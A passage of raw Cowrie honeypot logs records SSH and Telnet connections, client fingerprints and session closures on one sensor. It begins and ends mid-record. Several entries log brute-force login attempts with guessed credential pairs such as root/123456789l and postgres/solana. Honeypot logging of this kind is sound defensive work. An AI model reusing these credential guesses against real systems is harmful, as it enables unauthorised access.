a1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:21.409869Z","src_ip":"45.78.204.254","session":"a3505dd89f10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":42242,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7f9127301c7","protocol":"ssh","message":"New connection: 103.149.28.157:42242 (159.203.135.109:22) [session: a7f9127301c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:21.570806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:21.575417Z","src_ip":"103.149.28.157","session":"a7f9127301c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:21.817917Z","src_ip":"103.149.28.157","session":"a7f9127301c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.884883403778076,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:22.302106Z","src_ip":"192.119.13.58","session":"dbb3281e5f89","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789l","message":"login attempt [root/123456789l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:22.548303Z","src_ip":"103.149.28.157","session":"a7f9127301c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:23.793293Z","src_ip":"103.149.28.157","session":"a7f9127301c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"123","message":"login attempt [mcserver/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:24.036553Z","src_ip":"45.78.204.254","session":"a3505dd89f10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.68501901626587,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:24.232853Z","src_ip":"192.119.13.58","session":"90f61e0872b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:25.279965Z","src_ip":"45.78.204.254","session":"a3505dd89f10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.29225015640259,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:25.611187Z","src_ip":"192.119.13.58","session":"e1334bd68369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.04024910926819,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:26.350266Z","src_ip":"192.119.13.58","session":"4df28c983ab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30122089385986,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:31.289258Z","src_ip":"192.119.13.58","session":"b66cc58b62d8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59100,"dst_ip":"10.17.0.5","dst_port":23,"session":"798142b22805","protocol":"telnet","message":"New connection: 192.119.13.58:59100 (10.17.0.5:23) [session: 798142b22805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:31.628554Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59158,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f4c000b83a","protocol":"telnet","message":"New connection: 192.119.13.58:59158 (10.17.0.5:23) [session: b2f4c000b83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:31.645649Z"}
{"eventid":"cowrie.session.closed","duration":45.7378511428833,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:32.493880Z","src_ip":"192.119.13.58","session":"00bd2fbce160","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.47178530693054,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:40.031190Z","src_ip":"192.119.13.58","session":"8d63b6f01fad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44982,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b7b947b3f8d","protocol":"telnet","message":"New connection: 192.119.13.58:44982 (10.17.0.5:23) [session: 8b7b947b3f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:42.116897Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54876,"dst_ip":"10.17.0.5","dst_port":23,"session":"83390cc0a582","protocol":"telnet","message":"New connection: 192.119.13.58:54876 (10.17.0.5:23) [session: 83390cc0a582]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:44.481609Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55848,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0363d7f2bcf","protocol":"telnet","message":"New connection: 192.119.13.58:55848 (10.17.0.5:23) [session: a0363d7f2bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:44.718446Z"}
{"eventid":"cowrie.session.closed","duration":0.0064373016357421875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:44.724729Z","src_ip":"192.119.13.58","session":"a0363d7f2bcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35808,"dst_ip":"10.17.0.5","dst_port":23,"session":"38178f5e536a","protocol":"telnet","message":"New connection: 192.119.13.58:35808 (10.17.0.5:23) [session: 38178f5e536a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:46.567321Z"}
{"eventid":"cowrie.session.closed","duration":36.94155979156494,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:47.529211Z","src_ip":"192.119.13.58","session":"3ee16b051064","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.155678510665894,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:48.603256Z","src_ip":"192.119.13.58","session":"17d9e74c9812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46234,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd084a000600","protocol":"telnet","message":"New connection: 192.119.13.58:46234 (10.17.0.5:23) [session: dd084a000600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:49.016009Z"}
{"eventid":"cowrie.session.closed","duration":0.0051496028900146484,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:49.021049Z","src_ip":"192.119.13.58","session":"dd084a000600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48730,"dst_ip":"10.17.0.5","dst_port":23,"session":"07f2055904b6","protocol":"telnet","message":"New connection: 192.119.13.58:48730 (10.17.0.5:23) [session: 07f2055904b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:49.596129Z"}
{"eventid":"cowrie.session.closed","duration":39.18707776069641,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:49.679121Z","src_ip":"192.119.13.58","session":"190ac32d8138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50472,"dst_ip":"10.17.0.5","dst_port":23,"session":"d83189bb5fc1","protocol":"telnet","message":"New connection: 192.119.13.58:50472 (10.17.0.5:23) [session: d83189bb5fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:50.023555Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56010,"dst_ip":"10.17.0.5","dst_port":23,"session":"932b6b2bf426","protocol":"telnet","message":"New connection: 192.119.13.58:56010 (10.17.0.5:23) [session: 932b6b2bf426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:51.364367Z"}
{"eventid":"cowrie.session.closed","duration":44.777559995651245,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:52.068274Z","src_ip":"192.119.13.58","session":"a0da65748580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":50751,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6534c8f4780","protocol":"telnet","message":"New connection: 186.195.16.41:50751 (159.203.135.109:23) [session: e6534c8f4780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:55.379812Z"}
{"eventid":"cowrie.session.closed","duration":42.35388112068176,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:55.605093Z","src_ip":"192.119.13.58","session":"3bb17818ae60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.24373483657837,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:56.053499Z","src_ip":"192.119.13.58","session":"8aab30292a0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47548,"dst_ip":"10.17.0.5","dst_port":23,"session":"de543ab7bb79","protocol":"telnet","message":"New connection: 192.119.13.58:47548 (10.17.0.5:23) [session: de543ab7bb79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:52:56.294120Z"}
{"eventid":"cowrie.session.closed","duration":7.765866279602051,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:03.145583Z","src_ip":"186.195.16.41","session":"e6534c8f4780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.39408230781555,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:05.133064Z","src_ip":"192.119.13.58","session":"c7aebd38b102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.150.247.219","src_port":36820,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7f14d8f792f","protocol":"telnet","message":"New connection: 193.150.247.219:36820 (159.203.135.109:23) [session: f7f14d8f792f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:05.468992Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56874,"dst_ip":"10.17.0.5","dst_port":23,"session":"5312b8c8034d","protocol":"telnet","message":"New connection: 192.119.13.58:56874 (10.17.0.5:23) [session: 5312b8c8034d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:05.612934Z"}
{"eventid":"cowrie.session.closed","duration":45.422290325164795,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:06.005528Z","src_ip":"192.119.13.58","session":"48c50dcb9d88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.02360129356384,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:06.652029Z","src_ip":"192.119.13.58","session":"798142b22805","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35722,"dst_ip":"10.17.0.5","dst_port":23,"session":"36ea4b6ba21b","protocol":"telnet","message":"New connection: 192.119.13.58:35722 (10.17.0.5:23) [session: 36ea4b6ba21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:07.330200Z"}
{"eventid":"cowrie.session.closed","duration":48.630263328552246,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:09.480535Z","src_ip":"192.119.13.58","session":"715848704260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34720,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5db27e3bb9c","protocol":"telnet","message":"New connection: 192.119.13.58:34720 (10.17.0.5:23) [session: b5db27e3bb9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:13.810508Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35088,"dst_ip":"10.17.0.5","dst_port":23,"session":"81af91d1c13e","protocol":"telnet","message":"New connection: 192.119.13.58:35088 (10.17.0.5:23) [session: 81af91d1c13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:13.897605Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36282,"dst_ip":"10.17.0.5","dst_port":23,"session":"92e93acccba3","protocol":"telnet","message":"New connection: 192.119.13.58:36282 (10.17.0.5:23) [session: 92e93acccba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:14.167382Z"}
{"eventid":"cowrie.session.closed","duration":42.83533191680908,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:14.480850Z","src_ip":"192.119.13.58","session":"b2f4c000b83a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50426,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ccb0159d21d","protocol":"telnet","message":"New connection: 192.119.13.58:50426 (10.17.0.5:23) [session: 8ccb0159d21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:18.579051Z"}
{"eventid":"cowrie.session.closed","duration":13.353043794631958,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:18.821893Z","src_ip":"193.150.247.219","session":"f7f14d8f792f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57354,"dst_ip":"10.17.0.5","dst_port":23,"session":"0572b17e5137","protocol":"telnet","message":"New connection: 192.119.13.58:57354 (10.17.0.5:23) [session: 0572b17e5137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:25.994113Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58178,"dst_ip":"10.17.0.5","dst_port":23,"session":"18d7e30441b9","protocol":"telnet","message":"New connection: 192.119.13.58:58178 (10.17.0.5:23) [session: 18d7e30441b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:26.253224Z"}
{"eventid":"cowrie.session.closed","duration":40.41769599914551,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:26.984916Z","src_ip":"192.119.13.58","session":"38178f5e536a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34790,"dst_ip":"10.17.0.5","dst_port":23,"session":"498f57d4cbda","protocol":"telnet","message":"New connection: 192.119.13.58:34790 (10.17.0.5:23) [session: 498f57d4cbda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:27.519473Z"}
{"eventid":"cowrie.session.closed","duration":43.79977297782898,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:28.281248Z","src_ip":"192.119.13.58","session":"83390cc0a582","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.523300647735596,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:28.887544Z","src_ip":"192.119.13.58","session":"932b6b2bf426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.144930839538574,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:29.261742Z","src_ip":"192.119.13.58","session":"8b7b947b3f8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44438,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8d39c035749","protocol":"telnet","message":"New connection: 192.119.13.58:44438 (10.17.0.5:23) [session: a8d39c035749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:29.903901Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":57202,"dst_ip":"10.17.0.5","dst_port":22,"session":"5261833e00cf","protocol":"ssh","message":"New connection: 193.32.162.145:57202 (10.17.0.5:22) [session: 5261833e00cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:30.475921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:30.606443Z","src_ip":"193.32.162.145","session":"5261833e00cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:30.610691Z","src_ip":"193.32.162.145","session":"5261833e00cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"solana","message":"login attempt [postgres/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:31.019303Z","src_ip":"193.32.162.145","session":"5261833e00cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:32.126259Z","src_ip":"193.32.162.145","session":"5261833e00cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.75647258758545,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:32.352534Z","src_ip":"192.119.13.58","session":"07f2055904b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.20482277870178,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:32.498811Z","src_ip":"192.119.13.58","session":"de543ab7bb79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.64261507987976,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:34.666028Z","src_ip":"192.119.13.58","session":"d83189bb5fc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.8.142","src_port":24383,"dst_ip":"10.17.0.5","dst_port":22,"session":"498465cfbf86","protocol":"ssh","message":"New connection: 104.194.8.142:24383 (10.17.0.5:22) [session: 498465cfbf86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:35.887342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:53:35.892306Z","src_ip":"104.194.8.142","session":"498465cfbf86","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr